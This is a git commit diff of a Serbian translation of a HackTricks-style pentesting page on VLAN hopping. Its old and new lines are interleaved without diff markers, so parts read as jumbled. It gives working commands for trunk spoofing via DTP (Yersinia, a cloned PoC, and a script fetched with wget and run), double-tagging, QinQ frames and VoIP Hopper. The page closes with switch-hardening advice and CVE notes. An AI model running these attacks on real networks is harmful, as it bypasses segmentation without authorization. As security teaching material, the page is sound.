Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:42:15 +00:00
parent 5c67fb718c
commit cba5234fd2

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja proverite [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Prvo, potrebno je identifikovati specifičan povezani port. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
Prvo, identifikacija specifičnog povezanog porta je potrebna. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
**Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese**:
```
@ -24,6 +24,7 @@ Prebacivanje u trunk režim će privremeno prekinuti konektivnost, ali se to mo
Zatim se kreiraju virtuelni interfejsi, dodeljuju VLAN ID-ovi i aktiviraju:
```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Nakon toga, zahtev za adresu se šalje putem DHCP-a. Alternativno, u slučajevima kada DHCP nije izvodljiv, adrese se mogu ručno konfigurisati:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Primer za ručno postavljanje statičke IP adrese na interfejsu (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
```
Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60.
@ -61,22 +71,29 @@ Cisco switch-evi koji drže DTP omogućeno rado će pregovarati trunk ako peer t
*Yersinia* i nekoliko PoC-ova automatizuju proces:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel-i više ne zahtevaju *vconfig*; umesto toga koristite *ip link*:
Recon pomoćnik (pasivno identifikovanje DTP stanja porta):
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN Abuse)
Ako napadač sedi na **native (untagged) VLAN**, kreirani okvir sa *dva* 802.1Q zaglavlja može "skočiti" na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (2022-2024 osveženje) automatizuju injekciju:
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
```
Jednom kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku.
### 2. Double-Tagging (Zloupotreba Native-VLAN)
Ako napadač sedi na **native (neoznačenom) VLAN-u**, kreirani okvir sa *dva* 802.1Q zaglavlja može skočiti na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (osveženje 2022-2025) automatizuju injekciju:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa nativnim VLAN-om.
2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN-u 20.
Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju nativni VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire.
### 3. QinQ (802.1ad) Stacking
Mnogi koreni preduzeća podržavaju *Q-in-Q* uslugu pružatelja usluga. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar pružatelja (S-tag) da bi prešao sigurnosne zone. Zabeležite 802.1ad ethertype 0x88a8 i pokušajte da uklonite spoljašnji tag sa Scapy:
Mnogi koreni preduzeća podržavaju *Q-in-Q* enkapsulaciju usluga provajdera. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar provajdera (S-tag) da bi prešao sigurnosne zone. Zabeležite za ethertype `0x88a8` i pokušajte da uklonite spoljašnji tag pomoću Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
Korporativne pristupne tačke često su u *“access + voice”* konfiguraciji: neoznačeni data VLAN za radnu stanicu i označeni voice VLAN koji se oglašava putem CDP ili LLDP-MED. Imitujući IP telefon, napadač može automatski otkriti i preći u VoIP VLAN—čak i kada je DTP onemogućen.
*VoIP Hopper* (pakovan u Kali 2025.2) podržava CDP, DHCP opcije **176/242**, i potpuno LLDP-MED spoofing:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
Tehnika zaobilazi razdvajanje podataka/glasovnih komunikacija i izuzetno je uobičajena na preduzetničkim edge switch-evima 2025. godine jer je LLDP auto-policy podrazumevano omogućen na mnogim modelima.
---
## Preporuke za odbranu
1. Onemogućite DTP na svim portovima koji su dostupni korisnicima: `switchport mode access` + `switchport nonegotiate`.
2. Promenite nativni VLAN na svakom trunku u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`.
3. Prune-ujte nepotrebne VLAN-ove na trunkovima: `switchport trunk allowed vlan 10,20`.
4. Primorajte sigurnost portova, DHCP snooping i dinamičku ARP inspekciju kako biste ograničili neovlašćene Layer-2 aktivnosti.
5. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto oslanjanja isključivo na 802.1Q razdvajanje.
1. Onemogućite DTP na svim portovima koji su usmereni ka korisnicima: `switchport mode access` + `switchport nonegotiate`.
2. Promenite native VLAN na svakom trunk-u u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`.
3. Prune-ujte nepotrebne VLAN-ove na trunk-ovima: `switchport trunk allowed vlan 10,20`.
4. Sprovodite sigurnost portova, DHCP snooping, dinamičku ARP inspekciju **i 802.1X** kako biste ograničili neovlašćene Layer-2 aktivnosti.
5. Onemogućite LLDP-MED auto glasovne politike (ili ih zaključajte na autentifikovane MAC OUI-e) ako spoofing IP telefona nije potreban.
6. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto da se oslanjate isključivo na 802.1Q razdvajanje.
---
## Ranljivosti dobavljača u stvarnom svetu (2022-2024)
Čak i savršeno učvršćena konfiguracija switch-a može biti potkopana greškama u firmveru. Nedavni primeri uključuju:
* **CVE-2022-20728† Cisco Aironet/Catalyst pristupne tačke** omogućavaju injekciju iz native VLAN-a u ne-native WLAN VLAN-ove, zaobilazeći žičano/bežično razdvajanje.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** omogućava zaobilaženje ACL-a na SVI-ima nakon prebacivanja Resilient Ethernet Protocol-a, propuštajući saobraćaj između VRF-ova/VLAN-ova. Zakrpa 17.9.5 ili novija.
Uvek pratite obaveštenja dobavljača o VLAN povezanim zaobilaženjima/ACL problemima i održavajte slike infrastrukture ažurnim.
---
@ -119,5 +158,7 @@ sendp(frame, iface="eth0")
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Šta je VLAN Hopping?" (Avg 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper projekat <https://github.com/hmgh0st/voiphopper>
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}}